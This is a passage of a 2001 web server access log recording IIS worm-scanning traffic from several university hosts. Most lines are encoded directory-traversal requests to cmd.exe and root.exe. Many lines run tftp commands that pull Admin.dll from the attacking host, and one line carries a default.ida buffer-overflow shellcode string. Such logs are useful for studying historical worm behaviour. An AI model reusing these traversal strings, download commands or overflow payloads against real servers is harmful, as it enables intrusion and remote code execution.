  5486. 20010918 18:18:30: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5487. 20010918 18:18:30: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5488. 20010918 18:18:31: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5489. 20010918 18:18:31: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5490. 20010918 18:18:31: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5491. 20010918 18:18:31: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5492. 20010918 18:18:58: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/root.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  5493. 20010918 18:19:01: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/Admin.dll HTTP/1.0"
  5494. 20010918 18:19:02: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5495. 20010918 18:19:02: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /MSADC/root.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  5496. 20010918 18:19:02: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /MSADC/Admin.dll HTTP/1.0"
  5497. 20010918 18:19:02: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5498. 20010918 18:19:02: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  5499. 20010918 18:19:02: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  5500. 20010918 18:19:02: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  5501. 20010918 18:19:03: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /c/Admin.dll HTTP/1.0"
  5502. 20010918 18:19:03: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5503. 20010918 18:19:03: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  5504. 20010918 18:19:03: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  5505. 20010918 18:19:03: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  5506. 20010918 18:19:03: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /d/Admin.dll HTTP/1.0"
  5507. 20010918 18:19:03: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5508. 20010918 18:19:05: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  5509. 20010918 18:19:05: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  5510. 20010918 18:19:05: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  5511. 20010918 18:19:06: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%255c../Admin.dll HTTP/1.0"
  5512. 20010918 18:19:06: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5513. 20010918 18:19:06: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  5514. 20010918 18:19:06: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  5515. 20010918 18:19:10: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  5516. 20010918 18:19:10: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /_vti_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0"
  5517. 20010918 18:19:10: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5518. 20010918 18:19:10: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  5519. 20010918 18:19:10: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  5520. 20010918 18:19:11: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  5521. 20010918 18:19:11: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /_mem_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0"
  5522. 20010918 18:19:11: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5523. 20010918 18:19:11: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  5524. 20010918 18:19:11: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  5525. 20010918 18:19:11: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  5526. 20010918 18:19:12: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../Admin.dll HTTP/1.0"
  5527. 20010918 18:19:12: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5528. 20010918 18:19:12: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  5529. 20010918 18:19:12: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  5530. 20010918 18:19:13: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  5531. 20010918 18:19:16: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c1%1c../Admin.dll HTTP/1.0"
  5532. 20010918 18:19:16: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5533. 20010918 18:19:16: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  5534. 20010918 18:19:16: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  5535. 20010918 18:19:16: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  5536. 20010918 18:19:17: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c0%2f../Admin.dll HTTP/1.0"
  5537. 20010918 18:19:17: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5538. 20010918 18:19:17: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  5539. 20010918 18:19:17: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  5540. 20010918 18:19:17: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  5541. 20010918 18:19:17: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c0%af../Admin.dll HTTP/1.0"
  5542. 20010918 18:19:18: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5543. 20010918 18:19:18: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  5544. 20010918 18:19:18: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  5545. 20010918 18:19:18: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  5546. 20010918 18:19:18: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c1%9c../Admin.dll HTTP/1.0"
  5547. 20010918 18:19:18: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5548. 20010918 18:19:19: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  5549. 20010918 18:19:19: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  5550. 20010918 18:19:19: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  5551. 20010918 18:19:19: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%%35%63../Admin.dll HTTP/1.0"
  5552. 20010918 18:19:19: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5553. 20010918 18:19:20: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  5554. 20010918 18:19:20: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  5555. 20010918 18:19:20: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  5556. 20010918 18:19:20: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%%35c../Admin.dll HTTP/1.0"
  5557. 20010918 18:19:20: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5558. 20010918 18:19:20: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  5559. 20010918 18:19:21: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  5560. 20010918 18:19:21: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  5561. 20010918 18:19:21: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%25%35%63../Admin.dll HTTP/1.0"
  5562. 20010918 18:19:21: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5563. 20010918 18:19:21: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  5564. 20010918 18:19:21: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  5565. 20010918 18:19:22: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  5566. 20010918 18:19:22: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%252f../Admin.dll HTTP/1.0"
  5567. 20010918 18:19:22: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  5568. 20010918 18:28:11: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5569. 20010918 18:40:26: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5570. 20010918 18:40:26: fms97.facil.columbia.edu [128.59.244.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5571. 20010918 18:40:26: fms97.facil.columbia.edu [128.59.244.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5572. 20010918 18:40:26: fms97.facil.columbia.edu [128.59.244.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5573. 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5574. 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5575. 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5576. 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5577. 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5578. 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5579. 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5580. 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5581. 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5582. 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5583. 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5584. 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5585. 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5586. 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5587. 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5588. 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5589. 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5590. 20010918 18:40:28: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5591. 20010918 18:40:28: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5592. 20010918 18:40:28: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5593. 20010918 18:40:28: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5594. 20010918 18:40:28: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5595. 20010918 18:40:28: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5596. 20010918 18:40:28: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5597. 20010918 18:40:28: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5598. 20010918 18:40:28: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5599. 20010918 18:40:28: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5600. 20010918 18:40:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5601. 20010918 18:43:55: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5602. 20010918 18:43:55: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5603. 20010918 18:43:55: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5604. 20010918 18:43:55: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5605. 20010918 18:43:55: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5606. 20010918 18:43:55: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5607. 20010918 18:43:56: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5608. 20010918 18:43:56: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5609. 20010918 18:43:56: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5610. 20010918 18:43:56: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5611. 20010918 18:43:56: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5612. 20010918 18:43:56: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5613. 20010918 18:43:56: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5614. 20010918 18:43:56: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5615. 20010918 18:43:56: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5616. 20010918 18:43:56: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5617. 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5618. 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5619. 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5620. 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5621. 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5622. 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5623. 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5624. 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5625. 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5626. 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5627. 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5628. 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5629. 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5630. 20010918 18:44:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5631. 20010918 18:44:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5632. 20010918 18:44:18: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5633. 20010918 18:44:57: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5634. 20010918 18:44:57: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5635. 20010918 18:44:57: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5636. 20010918 18:44:57: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5637. 20010918 18:44:57: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5638. 20010918 18:44:57: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5639. 20010918 18:44:57: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5640. 20010918 18:44:57: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5641. 20010918 18:44:57: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5642. 20010918 18:44:57: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
